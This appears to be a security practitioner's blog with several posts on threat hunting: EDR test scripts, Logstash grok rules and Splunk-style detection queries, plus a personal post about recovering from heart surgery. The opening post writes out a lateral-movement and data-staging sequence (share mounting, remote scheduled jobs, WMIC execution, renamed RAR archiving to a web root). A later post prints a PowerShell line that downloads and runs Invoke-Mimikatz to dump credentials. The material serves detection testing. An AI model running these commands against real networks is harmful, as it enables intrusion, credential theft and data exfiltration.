Friday, January 12, 2018

What are your tools detecting

At some point during an intrusion, if the attacker has gained enough access, the need for malware will go away.  External access to the target network can be achieved through a vpn, 3rd party connection or simple misconfiguration on an external facing device.  Lateral movement, data consolidation and staging can all happen using builtin windows tools.  Data packaging can happen with builtin tools or public archiving utilities that are most likely used, legitimately, throughout your network by multiple users.  If an attacker has achieved this level of access, it is at this point you really need to ask yourself if the tools you have in place are capable of alerting you as to what may be happening.

From an EDR perspective, how much do you feel the vendor should be detecting and alerting?  What types of data do you feel an EDR solution should be collecting?  How important is the interface and the query language?  All of this is especially important if you don’t have the capability to author your own signatures or the interface is so poorly designed that it is not feasible to generate your own alerts based on limitations imposed by the vendor.

I put together some tests that you can use to verify the capabilities of your tools when it comes to recon, lateral movement and data staging.  I would be very curious to know what your outcomes are and if there are any obvious gaps in coverage across vendors.  I think it would be pretty enlightening to the entire community.

This is also not meant to put down the work that vendors are doing in this area.  It has come a long way, but I think often we get focused on finding “the malware” when that is only one aspect.

Note: Change the below scripts and commands to match your environment.

========== a.bat ===========
@echo off
ping -n 1 192.168.1.3>>c:\temp\a.txt
ping -n 1 192.168.1.4>>c:\temp\a.txt
ping -n 1 192.168.1.5>>c:\temp\a.txt
ping -n 1 192.168.1.6>>c:\temp\a.txt
ping -n 1 192.168.1.7>>c:\temp\a.txt
ping -n 1 192.168.1.8>>c:\temp\a.txt
ping -n 1 192.168.1.9>>c:\temp\a.txt
ping -n 1 192.168.1.10>>c:\temp\a.txt
ping -n 1 192.168.1.11>>c:\temp\a.txt
ping -n 1 192.168.1.12>>c:\temp\a.txt
ping -n 1 192.168.1.13>>c:\temp\a.txt
ping -n 1 192.168.1.14>>c:\temp\a.txt
ping -n 1 192.168.1.15>>c:\temp\a.txt
ping -n 1 192.168.1.16>>c:\temp\a.txt
ping -n 1 192.168.1.17>>c:\temp\a.txt
ping -n 1 192.168.1.18>>c:\temp\a.txt
ping -n 1 192.168.1.19>>c:\temp\a.txt
ping -n 1 192.168.1.20>>c:\temp\a.txt
ping -n 1 192.168.1.21>>c:\temp\a.txt
ping -n 1 192.168.1.22>>c:\temp\a.txt
ping -n 1 192.168.1.23>>c:\temp\a.txt
ping -n 1 192.168.1.24>>c:\temp\a.txt
ping -n 1 192.168.1.25>>c:\temp\a.txt
ping -n 1 192.168.1.26>>c:\temp\a.txt
ping -n 1 192.168.1.27>>c:\temp\a.txt
ping -n 1 192.168.1.28>>c:\temp\a.txt
 
=========== Execute a.bat ========
cmd /c a.bat
 
========== b.bat ===========
@echo off
net localgroup administrators >>c:\windows\system32\b.txt
quser >>c:\windows\system32\b.txt
netstat -nab -p tcp >>c:\windows\system32\b.txt
net start >>c:\windows\system32\b.txt
net session >>c:\windows\system32\b.txt
net share >>c:\windows\system32\b.txt
net use >>c:\windows\system32\b.txt
net view >>c:\windows\system32\b.txt
net view /domain >>c:\windows\system32\b.txt
net time /domain >>c:\windows\system32\b.txt
ipconfig /all >>c:\windows\system32\b.txt
route print >>c:\windows\system32\b.txt
systeminfo >>c:\windows\system32\b.txt
dsquery server >>c:\windows\system32\b.txt
dsquery subnet -limit 10000 >>c:\windows\system32\b.txt
net group "domain admins" /domain >>c:\windows\system32\b.txt
net group "enterprise admins" /domain >>c:\windows\system32\b.txt
 
======= Mount share and copy batch script ========
nbtstat -a x.x.x.x >>c:\temp\a.txt
net use \\x.x.x.x password user:domain/user
net use Z: \\x.x.x.x\c$ password /user:domain\user
copy C:\temp\*.bat Z:\windows\system32\
dir Z:\windows\system32\*.bat
 
====== Schedule at job, execute script, copy results back, delete share ========
net time \\x.x.x.x
at \\x.x.x.x
at \\x.x.x.x 4:01 "C:\windows\system32\b.bat"
net time /domain
tasklist
dir Z:\windows\system32\b.txt
copy Z:\windows\system32\b.txt C:\temp\b.txt
at \\x.x.x.x 1 /delete /y
net use Z: /delete /y
 
========== abc.bat ===========
@echo off
c:\temp\cmd.exe a -hppassword c:\temp\abc.temp c:\data\for\exfil -x*.exe -x*.dll
 Note: cmd.exe is a renamed copy of rar.exe
=========== Create and move exfil =============
copy c:\temp\abc.bat \\x.x.x.x\c$\temp\abc.bat
copy c:\temp\cmd.exe \\x.x.x.x\c$\temp\cmd.exe
wmic /node:"x.x.x.x" /user:"domain\username" /password:"password" process call create "cmd.exe /c c:\temp\abc.bat"
copy \\x.x.x.x\c$\temp\abc.temp c:\temp\abc.temp
copy c:\temp\abc.temp \\x.x.x.x\c$\inetpub\wwwroot\website\abc.temp

Monday, January 1, 2018

My 2017

This will be kind of a different post for me in that I won’t be talking about DFIR or hunting.  As many of you know I’ve had kind of a challenging year both physically and mentally so I want to reflect on some of the things I’ve experienced, learned and overcame during the course of 2017.

In April of 2017 I was sitting at my desk, working, when I began having horrible pains in my chest, down the arteries in my neck as well as my arm.  I told my wife to call 911 because I thought I was having a heart attack.  When the EMT’s arrived my pain had already subsided, but they went ahead and took me to the hospital where I spent the next several hours waiting for tests to be ran and results to come back.  The end result was that they didn’t find any signs of a heart attack, but they admitted me so that they could perform additional tests.  The following day I had a stress test which also came back normal. With nothing to go on, the doctors sent me home without a definitive answer as to what had happened.  I should have probably pushed harder for an answer, but I think I was just relieved that they didn't find anything serious.

Over the next few days those same pains would come back.  I couldn’t associate them with any specific activity or food that I ate, they would just appear and literally put me on the floor a couple of times.  I refused to go back to the hospital for them to keep me overnight and eventually tell me that nothing was wrong, but agreed to my wife’s pleading that I call the cardiologist.  My cardiologist scheduled me for a heart catheterization, which I had a few days later.  The results of that test was a little more bleak, in that they had identified multiple blockages with no option for stents.  The pain was attributed to unstable angina and that I needed to have bypass surgery.  When I asked why the stress test didn’t find anything I was told that the test tries to identify anomalous blood flow in different portions of the heart.  All of the blood flow in my heart was abnormal, so it looked normal on the test.  Anomaly detection failed to find what it should have… that’s just crazy!!!

The following morning I was taken in for surgery, which lasted several hours.  I remember saying goodby to my wife and being wheeled into the operating room.  The next thing I remember was waking up the following day on a breathing machine (not a good feeling) with other tubes and wires going in and out of my chest and abdomen.  I eventually spent the next week in the hospital.  The first night that I was conscious I was scared to fall asleep because I didn’t think I was going to wake up.  I wound up staying awake that entire night.  Watching the machines that I was connected to.  Watching the nurses walk by.  Listening to the sounds of a hospital.  It was a long night and I thought a lot about my family.  I thought about how, given the chance, things would be different and vowed to make some changes in my life. 

Over the next few days I was able to become a little more active and even more so every day that went by.  When I was released from the hospital I was able to stand up from a chair and walk a few hundred feet on my own.  After I returned home, every day I kept pushing myself physically.  I would have my wife take me to the local shopping mall so I could walk.  I was a mall walker and probably the slowest one at that, but that was ok.  At least was able to get out and start to take control of the things that I was able to.  Other things that I needed to take control of were the main contributors to my situation.  Smoking, diet and weight.

I felt that if I continued to exercise I would only have to start eating better to get my weight under control.  Better diet to me meant cutting out sodium as much as possible and limiting saturated fat intake.  This was all a good start and definitely something that I needed to do, but I wasn’t losing the weight that I thought I should be.  I then began to count calories and really focus on portion control.  This is when the weight really started to come off, but it also had me feeling hungry all of the time.  I guess nobody ever said that it was going to be easy and I actually thought that quitting smoking was easier than changing and limiting my diet.  But as the pounds started to come off, my motivation to keep going grew stronger.  In the long run it was well worth the effort.

Healing seemed slow and very painful.  I needed help trying to sit up after laying down or trying to pick up anything with more than a few pounds of weight.  I knew that it would take time and that I would eventually get over it, but that feeling of being helpless was very frustrating.  There were also side effects of being on the heart lung machine that I don’t think I will every recover from.  One being my eyesight which has dramatically changed, another being my ability to concentrate over longer periods of time, and another being forgetfulness, but that’s ok because it’s much better than the alternative. 

It's been several months now since my surgery.  I’ve lost all of the weight that I needed to or feel like I should have.  I continue eating healthy which has the side effect of my family eating much healthier.  I spend an hour on cardio as well as lift weights 6 days a week.  I feel so much better than I have in a very very long time.  This journey has taught me so much about myself and the things that are truly important.  For me these things are:
  1. Myself
  2. My health
  3. My family
  4. My friends

I’ve also learned that It’s never too late to take control of those things that are holding you back or adversely affecting your life.  A little focus, persistence and patience can go a long way when you are trying to reach a goal!  


2017 is a year that I am glad is over. I do look forward to 2018 and the things that this year will bring (I just hope they are non life changing 😃)
Before

After

Saturday, December 30, 2017

Hunting with ELK

Earlier this year I talked a lot about behavior chains and how someone would go about implementing theses in Splunk.  In my last post I also talked about a need to know the capabilities of your tools so that you can take full advantage of them.  I wanted to do something a little different with this post.  I know that many of you are using an ELK stack today for hunting or daily ops and it’s one of the areas where I lack experience.  I decided to dig into ELK and see if it was possible to surface events of interest and begin to chain them together.  In this post I’m going to document what I’ve accomplished so far in the hopes that it may spur some ideas.

Before we begin, here’s an overly simplistic view of how I went about chaining behaviors in Splunk:
  1. Write queries for all actions that an attacker may take (regardless of volume that’s produced).
  2. Schedule queries to be ran routinely.
  3. Log all results of queries to separate index.
  4. Query separate index for multiple events by user/src/dest within specified timeframe.
 
Getting started, I first went about configuring Elasticsearch to consume logs being sent from Winlogbeat.  I applied the same log sources from the same virtual machines.  Once my logs were flowing I began to experiment with Kibana and the query language.  I was able to query for many of the behaviors that I was able to in Splunk.  The exceptions would be those that are correlating multiple events by time. Here would be an example of what I would like to accomplish with ELK:

sourcetype=wineventlog:security EventCode=5145 Object_Type=File Share_Name=*$ (Access_Mask=0x100180 OR Access_Mask=0x80 OR Access_Mask=0x130197) |bucket span=1s _time |rex "(?<thingtype>(0x100180|0x80|0x130197))" |stats values(Relative_Target_Name) AS Relative_Target_Name, values(Account_Name) AS Account_Name, values(Source_Address) AS Source_Address, dc(thingtype) AS distinct_things by ComputerName, _time |search distinct_things=3

The above query will try to identify 3 logs with event id's 5145 and an access mask of either 0x100180, 0x80 or 0x130197 and all generated within the same second.  This would be indicative of a file being copied to a $ share from a command prompt.  Unfortunately, after banging my head against a wall for an entire weekend, I have not found a way to do this with Kibana or Elasticsearch.  

Realizing that Kibana and Elasticsearch probably wouldn't get me to where I wanted to be I decided to see what I could do with Logstash (I was putting this off simply because I didn’t have it installed).  My goal was to still be able to group events and start chaining them together. I found that Logstash has a cool feature to help with this.  The ability to tag events with unique identifiers.  My thought for this was to use the tagging method as a replacement for the separate index.  By tagging events that I’m interested in I can start grouping them by time.   I would also have an easy method to dive directly into logs of interest as they would include that tag that I could pivot on.  To begin doing this I first needed to define the things that I’m interested in so I created a file with the below regular expressions that can be used in Grok filters. 

# Event Codes
PROCSTART (\s*(4688)\s*)
EXPLICITLOGIN (\s*(4648)\s*)
FILESHARE (\s*(5145)\s*)
SHAREPATH (\s*(5140)\s*)

# Access masks found in various windows security event logs
ACCESSMASK12019F (\s*(0x12019f)\s*)
ACCESSMASK1 (\s*(0x1)\s*)

# Specific expressions related to lateral movement
SUSPICIOUSPROCESSNAME (\\net\.exe|\\NET\.EXE|\\net1\.exe|\\NET1\.EXE|\\wmic|\\WMIC|\\powershell|\\POWERSHELL|\\PowerShell|\\cmd\.exe|\\CMD\.EXE|\\tasklist|\\TASKLIST|\\ping|\\PING)
SHARENAME (\\\\C$|\\\\c$|\\\\ADMIN$|\\\\admin$|\\\\IPC$|\\\\ipc$)
RELATIVETARGETNAME (srvsvc)
SYSMONCLISHARE ((CommandLine)[:]{1}.*?(c\$|C\$|admin\$|ADMIN\$))
SYSMONCLIIPV4 ((CommandLine)[:]{1}.*?(?<![0-9])(?:(?:[0-1]?[0-9]{1,2}|2[0-4][0-9]|25[0-5])[.](?:[0-1]?[0-9]{1,2}|2[0-4][0-9]|25[0-5])[.](?:[0-1]?[0-9]{1,2}|2[0-4][0-9]|25[0-5])[.](?:[0-1]?[0-9]{1,2}|2[0-4][0-9]|25[0-5]))(?![0-9]))

# Suspicious Executions
PSWEBREQUEST ((CommandLine)[:]{1}.*?(://))
WMICEXEC ((CommandLine)[:]{1}.*?(wmic|WMIC).*?i(?<![0-9])(?:(?:[0-1]?[0-9]{1,2}|2[0-4][0-9]|25[0-5])[.](?:[0-1]?[0-9]{1,2}|2[0-4][0-9]|25[0-5])[.](?:[0-1]?[0-9]{1,2}|2[0-4][0-9]|25[0-5])[.](?:[0-1]?[0-9]{1,2}|2[0-4][0-9]|25[0-5]))(?![0-9]).*?(process)\s*(call)\s*(create))


Making use of Grok filters, I simply want to match patterns in logs. 

input {
  beats {
    port => 5044
    host => "0.0.0.0"
  }
}

filter {
  if [type] == "wineventlog" {
    grok {
      patterns_dir => [ "/etc/logstash/patterns" ]
      match => { "message" => "%{SUSPICIOUSPROCESSNAME:SPNAME}" }
      add_tag => ["Correlation_Suspicious_Process_Start"]
    }
  }
}

filter {
  if [type] == "wineventlog" {
    grok {
      patterns_dir => [ "/etc/logstash/patterns" ]
      match => { "event_id" => "%{FILESHARE:ECODE}" }
      match => { "message" => "%{RELATIVETARGETNAME:RTN}" }
      match => { "message" => "%{ACCESSMASK12019F:AM}" }
      match => { "message" => "${SHARENAME:SHARE}" }
      add_tag => ["Correlation_Share_Enumeration"]
    }
  }
}

filter {
  if [type] == "wineventlog" {
    grok {
      patterns_dir => [ "/etc/logstash/patterns" ]
      match => { "message" => "%{SYSMONCLIIPV4:CLI}" }
      add_tag => ["Correlation_IP_Sysmon_CLI"]
    }
  }
}

filter {
  if [type] == "wineventlog" {
    grok {
      patterns_dir => [ "/etc/logstash/patterns" ]
      match => { "message" => "%{SYSMONCLISHARE:CLISHARE}" }
      add_tag => ["Correlation_Sysmon_Dollar_Share_CLI"]
    }
  }
}

filter {
  if [type] == "wineventlog" {
    grok {
      patterns_dir => [ "/etc/logstash/patterns" ]
      match => { "message" => "%{PSWEBREQUEST:CLIWEB}" }
      add_tag => ["Correlation_HTTP_in_PS_Command"]
    }
  }
}

filter {
  if "beats_input_codec_plain_applied" in [tags] {
    mutate {
      remove_tag => ["beats_input_codec_plain_applied"]
    }
  }
}

filter {
  if "_grokparsefailure" in [tags] {
    mutate {
      remove_tag => ["_grokparsefailure"]
    }
  }
}

output {
  elasticsearch { hosts => ["192.168.56.50:9200"] }
  stdout { codec => rubydebug }

}

When a pattern is found I will then tag the log with Correlation_(meaningful name).  I can then focus attention on logs that are tagged with Correlation.

Using the commands from my last few blog posts as an example, we can see what the output would look like.

  1. net use z: \\192.168.56.10\c$ /user:admin1
  2. copy bad.bat z:\temp\bad.bat
  3. wmic /node:”192.168.56.10” /user:”pwned.com\admin1” /password:”Th1sisa-Test” process call create “cmd.exe /c c:\temp\bad.bat”
  4. copy z:\bad.temp .\bad.temp


And a little snippet of some logs that were captured by the above filters.



This is all still a work in progress and has not been tested other than in a lab.  My main goal for this is to gain some knowledge around other logging solutions and if there are ways that I can improve what I am doing today.  My next step is to begin piping this data into neo4j which I think has a lot of potential for finding unknown relationships in these logs of interest.  If you have any thoughts, suggestions or recommendations, I would live to hear them.

Friday, December 8, 2017

A Few of My Favorite Things - Continued


In my last post I talked a lot about how I think about finding bad guys.  From creating mind maps of the things I should be looking for to the need for moving beyond simple IOC based detection and into more of a dynamic environment where alerts are clusters of events that are linked by time, source / destination / user.  I also described a simple scenario of the actions that an attacker could take to dump credentials on a host and how those actions would map across the needs of an adversary.  In this post I want to focus less on the thinking aspect and more on the doing.  
 
To recap the scenario from my last post:

  1. Attacker mounts C$ share on a remote machine
  2. Attacker copies malicious batch script to the mapped share
  3. Attacker issues wmic command to execute batch script on remote machine
  4. Batch script executes powershell that will download and execute invoke-mimikatz
  5. File that is created with the output of invoke-mimikatz is copied from mounted share to local filesystem. 

The above actions taken by the attacker would fall into the maps under the following:

Need
Action
Authentication
Network Logon: Mounting Share
Data Movement 
Admin Shares: Copy .bat script
Execution
WMIC: Execute against remote machines
Authentication
Rare Explicit logon
Data Movement
HTTP: Download of tool
Credential
DLL Loading
Execution
Powershell: Command Arguments
Data Movement
Copy: Dump File

The following are the commands that were executed:

  1. net use z: \\192.168.56.10\c$ /user:admin1
  2. copy bad.bat z:\temp\bad.bat
  3. wmic /node:”192.168.56.10” /user:”pwned.com\admin1” /password:”Th1sisa-Test” process call create “cmd.exe /c c:\temp\bad.bat”
  4. copy z:\bad.temp .\bad.temp

Based on the above command sequence, what are some questions that you would ask as a result?   

  1. When admins administer remote servers, do they typically use cmd.exe/wmic.exe/powershell.exe to issue commands or do they use some type of remote desktop solution the majority of the time?
  2. When admins administer remote servers do they typically use ip addresses in their commands instead of hostnames?
  3. What is the volume of remote logins from this source machine?
  4. What is the volume of remote logins from this user?
  5. How often has this source machine mounted the C$ share on a remote machine?
  6. How often has this user mounted the C$ share on a remote machine?
  7. How often has the destination machine had the C$ share mounted?
  8. How often is the copy command used to copy batch scripts to the C$ share of a remote machine?
  9. Is it common for an admin to use WMIC to connect to and issue commands on a remote machine?
  10. If the majority of these are common practice in your environment, is this cluster of events common?

Below are the contents of bad.bat and the same question applies.  What are some of the things you could key off of in order to possibly build some detection?

@echo off
powershell.exe “IEX (New-Object Net.WebClient).Downloadstring(‘http://192.168.56.20/web/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds" >> c:\bad.temp

  1. How often does powershell initiate a web request?
  2. Have we seen a command like this in the past?
  3. Have we seen the destination web server previously in a powershell command?
  4. How can we tell if Invoke-Mimikatz was executed?

This is good.  We have several things that we can go after to begin to build out some behavioral based detection.  As we start creating queries for the above, keep in mind that you may need to use multiple log sources.  If this is the case do yourself a favor and try to normalize the fields.  It’s much easier to pivot and correlate across log sources when the fields are the same.

The obvious next step in our process would be to start building the queries out, but before we begin with that we need to understand our infrastructure, how these queries may perform and if there will be any impact as a result of scheduling these to run regularly.  I have had the displeasure of working on some systems in the past where the query would have taken longer to run than the needed time span in scheduling.  If this is the case, is there anything you can do to streamline your searches?  Strictly speaking about Splunk, there is a method to create data models from log sourcetypes.  The result of this is a dramatic increase of speed when building complex queries that look across large amounts of data.  It may be worth investigating the tool you are working with to see if there is a similar option.

Also keep in mind that the above is just one single action that could be taken by an attacker during an intrusion.  If these actions were part of an active intrusion there would likely be many more opportunities for detection.  The queries that we will be creating are building blocks that can be used to start surfacing behaviors.  These building blocks are likely valid for many other behaviors that may be taken during the course of an intrusion.  The more building blocks you have the better your visibility into behaviors becomes.  The more log sources that are queried and used for building blocks the more context your alerts will have.   By clustering these building blocks and identifying the anomalous (actions, src, dest, user) you have a very good chance of spotting what otherwise may have been missed.

For these examples I’m using Windows event logs and Sysmon logs because that is what I have logging in my lab.  I know that company logging policies and standards are all over the place or even non existent.  Detection and logging tools are different.  These examples won’t match what your environment looks like.  The trick is to determine what you can detect with the log sources and the tools you have available.  Detection and hunting is not easy.  Know your tools as well as your data and be creative in how you go about hunting for bad guys.  It’s an art! 

I know that not everyone who will be reading this is a Splunk user, so I'm including key items that you can look for in your logs, but not the specific queries.  If there is enough people asking I may include them in a separate blog post.

4624 Type 3 Logon

As adversaries move around your network they will often use builtin windows tools for this, such as “net” commands.  These commands will generate a 4624 Type 3 network logon.  Attackers will also likely stray from normal logon patterns within your environment.  Logon times, users and src/dest combinations may look different.  By looking for rare combinations where there is a remote IP address you may be able to reduce some of the noise while still identifying those events that should be investigated.

Log Source: Windows Security Events
EventCode=4624
LogonType=3
Account_Name!=*$
Workstation_Name!=“"

Command line with ip

If you have command line process audit logging within your environment it may be useful to determine how your admins administer remote machines.  Do they typically connect to them by IP address or hostname.  By knowing what is normal within your network, it is much easier to develop queries that will surface the abnormal.

Log Source: Sysmon
Regex CommandLine="[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}”

C$ share identified in command line

Using windows shares is an easy way for an attacker to move data around.  Whether it’s tools that have been brought in, or data intended for exfiltration.  Pay attention to machines and users accessing hidden shares.  Is this a rare occurrence for this machine/user or combination of both?  Also pay attention to the process responsible for accessing the share and what the action is.

Log Source: Sysmon
CommandLine=*$\\*

HTTP request via powershell

This goes along with knowing your environment.  Is it normal for powershell to invoke a web request?  If the answer is yes, are the destinations unique?  By looking for unique destinations that were the result of powershell invoking a web request you have a high likelihood of spotting a malicious command.

Log Source: Sysmon
CommandLine=“*://*”
Process=powershell.exe 

Data movement dest to source

Similar to the $ share behavior.  Whether it’s tools that have been brought in, or data intended for exfiltration.  Pay attention to machines and users accessing hidden shares and the data that is passed between them.  Is this a rare occurrence for this machine/user or combination of both?  

Log Source: Windows Security Events
Object_Type=File
Share_Name=*$
EventCode=5145
(Access_Mask=0x100081
Access_Mask=0x80
Access_Mask=0x120089) within 1 second

Data movement source to dest

Similar to the $ share behavior.  Whether it’s tools that have been brought in, or data intended for exfiltration.  Pay attention to machines and users accessing hidden shares and the data that is passed between them.  Is this a rare occurrence for this machine/user or combination of both?

Log Source: Windows Security Events
EventCode=5145
Object_Type=File
Share_Name=*$
(Access_Mask=0x100180
Access_Mask=0x80
Access_Mask=0x130197) within 1 second

Remote WMIC

Execution is an attacker need.  We’ve already said that attackers will often use windows tools when moving laterally within your network and wmic can be a method that an attacker can use to execute commands on a remote machine.  Pay attention to source/dest/user combinations and the processes that are spawned on the remote machine.  This query is intended to identify the processes that are spawned within 1 second of wmiprvse executing on the destination side of the wmic command.  This query will also attempt to identify the source of the wmic connection.

Log Source: Windows Security Events
EventCode=4688
Process=wmiprvse.exe

Sub Search
EventCode=4624
LogonType=3
Source_Network_Address!=“”

Display source address and all processes spawned in that 1 second span.

WMIC 4648 login

Execution is an attacker need.  We’ve already said that attackers will often use windows tools when moving laterally within your network and wmic can be a method that an attacker can use to execute commands on a remote machine.  By monitoring explicit logons you can identify users, machines and processes that were used which resulted in an authentication to a remote machine.  This query watches for processes that may often be used during lateral movement.

Log Source: Windows Security Events
EventCode=4648
(Process_Name=net.exe
Process_Name=wmic.exe
Process_Name=powershell.exe)
Account_Name!=“-“
Target_Server_Name!=localhost
Target_Server_Name!=*$

Process spawned from cmd.exe

Cmd.exe is probably the most executed process by an attacker during KC7.  Monitor child processes and identify those clusters that may be related to malicious execution.

Log Source: Sysmon
ParentCommandLine=*cmd*

Mounting remote $ share

Using windows shares is an easy way for an attacker to move data around.  Whether it’s tools that have been brought in, or data intended for exfiltration.  Pay attention to machines and users accessing hidden shares.  Is this a rare occurrence for this machine/user or combination of both?  

Log Source: Windows Security Events
Event Code=5140
Share_Name=*$
Access_Mask=0x1
Account_Name!=*$

Possible credential dumper execution

Attackers need credentials if they are going to move laterally.  Identifying the potential execution of a credential dumper is important as they can often be missed by AV.  This query looks at the loading of dll’s by process and identifies those that have the clusters often used together by various credential dumping tools.

Log Source: Sysmon
(ImageLoaded=wdigest.dll
ImageLoaded=kerberos.dll
ImageLoaded=tspkg.dll
ImageLoaded=sspicli.dll
ImageLoaded=samsrv.dll
ImageLoaded=secur32.dll
ImageLoaded=samlib.dll
ImageLoaded=wlanapi.dll
ImageLoaded=vaultcli.dll
ImageLoaded=crypt32.dll
ImageLoaded=cryptdll.dll
ImageLoaded=netapi.dll
ImageLoaded=netlogon.dll
ImageLoaded=msv1_0.dll) > 2 by process

Our next step would be to begin correlating the results of these queries, but unfortunately with using a Splunk free license, the ability to generate alerts will expire after 30 days.  The alerts are needed in order to log the output of your queries to a separate index from which we would be doing our correlation.  I have previously blogged about using queries such as the above and building correlation around them.  This post can be found here: http://findingbad.blogspot.com/2017/02/hunting-for-chains.html.

The above queries are the building blocks that will be used as part of a more dynamic behavioral based detection methodology.  As you continue to build out and correlate queries based on actions that adversaries take, the more your capability increases in finding previously undetected TTP’s.

I wasn't able to include screenshots of each query as the post, I believe, exceeded the maximum size.  I am including a couple screenshots of the results of the queries though.  If these queries were correlated into a single alert it should paint a pretty good picture that this is very bad.






Sunday, November 26, 2017

A Few Of My Favorite Things

Today I want to talk about a couple of my favorite things.  Finding bad guys and thinking about finding bad guys.  When I talk about “thinking" I don’t mean fantasizing about the act of finding a successful intrusion, but rather, what steps do I need to incorporate or modify that will increase my chances of locating evil on my network.  I’ve actually been wanting to write this post for a while and I finally got a bit of motivation after a few tweets this past week.

I believe attackers will always leave traces of their activity.  No matter how subtle the indicators may be, it is our job to be able to find and interpret those so that we can respond accordingly.  So the question is, how do we go about finding these indications that attackers are in our network?  To answer this question I think it helps to focus our thoughts in a way that will help us understand relationships between the things we are trying to identify.  By focusing on these relationships we can then begin to surface patterns in our data.  Sitting down and mapping out the things you know about adversary activity is a great place to start.  I think it should be said that I don’t care about mapping the TTP’s of a specific actor at this point.  I simply want to lump everything together so that I can get an idea of the things I should be looking for and what is the state of my detection at this point in time.  To aid us in this quest we can pull data from internal response actions that we’ve performed, public reporting, private sharing or even hunches that we have (don’t ever discount these).  Aside from internal response actions, one of the best sources for this type of data gathering is definitely Mitre’s ATT&CK Framework.  There is a wealth of information in the framework as well as their Cyber Analytic Repository.  

Earlier this year, as I was recovering from open heart surgery, I felt like I needed a project to keep my mind busy so I sat down and did just what I described above.  I took a look at what I knew as well as what I could find regarding KC7 activity and mapped those actions to, what I see as, adversary needs.  It was a really good exercise in my opinion.  It not only helped me focus on the things I should be looking for, but visually be able to see my ability to map behaviors through multiple stages of an intrusion.  I tweeted these maps earlier this year which can be found here:


Next we need to understand what logs we have available as well as how to interpret these logs.  Do you know the above actions well enough to know what a positive example would look like in logs that you have?  If the answer is no, prepare to spend some time testing.  Do you know these log sources well enough to know what you can and can’t detect in them (note that surfacing a single action may very well be a correlated event that spans multiple log sources). If the answer is no, prepare to spend some time in them.  Keep in mind that we can often surface needed data by writing rules in our existing tools to log whenever a certain event has been identified.  I believe this is a great way to maximize the use of our current logs.  Don’t forget to consider both the source and destination when trying to determine what can and can’t be found.  For actions that can’t be detected due to gaps in coverage, make sure to document these as well as a log source or sources that would provide the needed visibility (be ready to provide management with a solution to a problem).

So if you set out to create detection for credential theft and only wanted to look for static indicators you could do that.  You could write detection for, and alert on AV threat names, service names, or specific filenames, but ask yourself, why do adversaries keep going back to these tools?  Because, for various reasons, they work and go undetected a large percentage of the time.  I am no way saying that it's a waste of time to try and detect those static ioc’s.  We should, hands down, have detection and alerting for those.  But when we have completed that task we shouldn’t assume that we are finished.   There is much more that can be done.  Lets take a look at a sample scenario involving invoke-mimikatz.

  1. Attacker mounts C$ share on a remote machine
  2. Attacker copies malicious batch script to the mapped share
  3. Attacker issues wmic command to execute batch script on remote machine
  4. Batch script executes powershell that will download and execute invoke-mimikatz
  5. File that is created with the output of invoke-mimikatz is copied from mounted share to local filesystem. 

The above actions taken by the attacker would fall into the maps under the following:
Need
Action
Authentication
Network Logon: Mounting Share
Data Movement 
Admin Shares: Copy .bat script
Execution
WMIC: Execute against remote machines
Authentication
Rare Explicit logon
Data Movement
HTTP: Download of tool
Credential
DLL Loading
Execution
Powershell: Command Arguments
Data Movement
Copy: Dump File


As you can see, the act of dumping credentials involved 4 out of 5 needs.  It should also be noted that not one of the above detections is specifically related to finding Invoke-Mimikatz, but instead related to surfacing an action (or building block) with the intent of bubbling up a malicious chain of events.  The more effort that is put into defining, gaining visibility and alerting on these building blocks, the more dynamic your detection may become.  By looking for clusters of events across multiple needs you should be able to quickly spot anomalous activity.  

Saturday, April 29, 2017

Billions and Billions of Logs; Oh My

As I’m sure many of you know, I was scheduled to talk at a couple of different conferences (SANS Threat Hunting Summit and x33fcon), but was unable to due to needing open heart surgery.  Not wanting all of the preparation work for these conferences to go to waste, I posted the slides here: https://www.slideshare.net/JackCrook/billions-billions-of-logs (If you have not looked at these slides I would suggest that you do before continuing).  After posting, I received some great response to the slides and wanted to do a blog post discussing a few of my thoughts since I doubt I will ever give the presentation.  I also wanted to exercise my mind a bit by focusing on one of the things that I love to do (hunting).  I’ve been exercising my body everyday and it has responded well so the same should be true for my mind, right?

We know that companies are consuming huge amounts of data and that the people tasked with hunting through these logs often struggle with the volume.  The question is: How do we, as hunters and defenders, navigate this sea of data and still be able to find what our current detection technologies aren’t finding? This is not an easy task, but I think a lot of it comes down to the questions that we ask.

What am I looking for?
I think often we may try and generalize the things we are hunting for.  This generalization can lead to broader queries and introduce vast amounts of uneeded logs into your results.  Know exactly what it is that you are looking for and, to the best of your knowledge, what it would look like in the logs that you have.  Keep in mind that the smaller that “thing" is that you are trying to find, the more focused your query can become.
                
Why am I looking for it?
Define what is important to your org and scope your hunts accordingly.  Once you define what you will be hunting, break that down into smaller pieces and tackle those one at a time.  Prioritize and continue to iterate through your defined process.

How do I find it?
Don’t get tunnel vision.  If your queries are producing far to many results, know that this will be very difficult to transition to automated alerting.  Can you look at the problem you are trying to solve differently and therefore produce different results? This is, by the way, the topic for the rest of this post.

If I look at KC7 for example.  Often times the actions that attackers take are the same actions taken legitimately by users millions upon millions of times a day.  From authenticating to a domain controller to mounting a network share, these are legitimate actions that can be seen every minute of every day on a normal network.  These can also be signs of malicious activity.  So how can we tell the difference?  This is where looking at the problem differently comes into play.  Before we delve into that though we need to look at attackers and how they may operate.  We can then use what we may think we know about them to our advantage.

I used the following hypothesis in my slides and I think you would often see some or all of them in the majority of intrusions.

  1. Comprised of multiple actions.
  2. Actions typically happen over short time spans.
  3. Will often use legitimate windows utilities.
  4. Will often use tools brought in with them.
  5. Will often need to elevate permissions.
  6. Will need to access multiple machines.
  7. Will need to access files on a filesystem. 

Based on the above hypothesis we are able to derive attacker needs.

  1. Execution
  2. Credentials
  3. Enumeration
  4. Authentication
  5. Data Movement

I also know that during an active intrusion, attackers are very goal focused.  Their actions typically can be associated with one of the above needs and you may see multiple needs from a single entity in very short time spans.  If you contrast that to how a normal user looks on a network the behavior is typically very different.  We can use these differences to our advantage and instead of looking for actions that would likely produce millions of results, we can look for patterns of behaviors that fall into multiple needs.   By looking for indications of needs and chaining them together by time and an additional common entity, such as source host, destination host, user, we can greatly reduce the amount of data we need to hunt through.  

So how do we get there?
  1. Develop queries for specific actions based on attacker needs
            a. Accuracy of query is key
            b. Volume of output is not
  1. Enhance data with queries from detection technologies
  2. Store output of queries in central location
  3. Each query makes a link
  4. The sum of links make up a chain

